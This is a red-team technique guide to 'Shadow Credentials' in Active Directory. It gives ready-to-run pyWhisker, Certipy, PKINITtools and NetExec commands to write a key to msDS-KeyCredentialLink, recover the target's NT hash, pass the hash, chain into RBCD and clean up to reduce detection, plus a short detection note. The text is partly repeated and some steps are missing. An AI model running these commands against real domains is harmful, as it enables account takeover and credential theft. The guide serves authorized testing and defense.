Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Abusing Shadow Credentials for Privilege Escalation
Legal Notice: This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.
Overview
The Shadow Credentials technique abuses the msDS-KeyCredentialLink attribute of Active Directory user and computer objects. This attribute stores raw public keys ("Key Credentials") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's msDS-KeyCredentialLink — typically granted by GenericWrite, GenericAll, WriteProperty, or AddKeyCredentialLink ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover without resetting the password, which is far stealthier than a forced password reset.
The technique was published by Elad Shamir ("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover") and implemented in the C# tool Whisker. The Python equivalent pyWhisker (ShutdownRepo) manipulates the attribute over LDAP, and Certipy integrates the entire chain via certipy shadow auto. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.
When to Use
When BloodHound reveals GenericWrite/GenericAll/AddKeyCredentialLink over a higher-value user or computer
As a stealthier alternative to ForceChangePassword (no password reset = less disruption/alerting)
To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)
During red-team operations needing account takeover without locking out the legitimate user
For purple-team exercises generating msDS-KeyCredentialLink modification telemetry
Prerequisites
Authorized engagement scope including AD credential-access techniques
Control of a principal with write access to the target's msDS-KeyCredentialLink
A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)
Network reachability to LDAP (389/636) and Kerberos (88) on a DC
Linux attack host with Python 3.8+; install the tooling:
Confirm write access over a target's msDS-KeyCredentialLink
Generate a key pair and append a Key Credential to the target object
Request a TGT for the target via PKINIT using the new key
Recover the target's NT hash for pass-the-hash / further movement
Clean up the injected Key Credential to restore the object's state
Document the ACL path that enabled the attack for remediation
MITRE ATT&CK Mapping
ID
Technique
Application in this skill
T1098.005
Account Manipulation: Device Registration
Writing an attacker-controlled Key Credential (device key) to msDS-KeyCredentialLink to register an alternate authentication credential for the target account
Workflow
Step 1: Confirm the write primitive
List existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the add step.
Extract the target's NT hash from the AS-REP using the session key from Step 3 (getnthash.py reads the AS-REP encryption key, displayed by gettgtpkinit.py).
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Prints the NT hash for 'victim'
Step 5: One-shot alternative with Certipy
Certipy's shadow auto performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'# For a computer account, use the sAMAccountName with trailing $
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
Step 6: Use the recovered credential
Authenticate with the NT hash (or the TGT) to continue the engagement.
# Pass-the-hash with NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Or use the TGT directlyexport KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
Step 7: Chain computer takeover into RBCD (optional)
When the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.
# Set RBCD so attacker-controlled SPN can impersonate to WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Passw0rd!'
Step 8: Clean up
Remove the injected Key Credential to restore the object and reduce detection footprint.
# pyWhisker: remove by device-id (printed during add) or clear all you added
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto cleans up automatically; otherwise:
certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
Tools and Resources
Resource
Purpose
Link
pyWhisker
Python LDAP manipulation of msDS-KeyCredentialLink
Monitor Windows Security Event ID 5136 (directory object modified) for changes to msDS-KeyCredentialLink; alert when a non-AD-Connect/non-Intune principal writes the attribute.
Auditing
Enable directory service object change auditing on user/computer OUs.
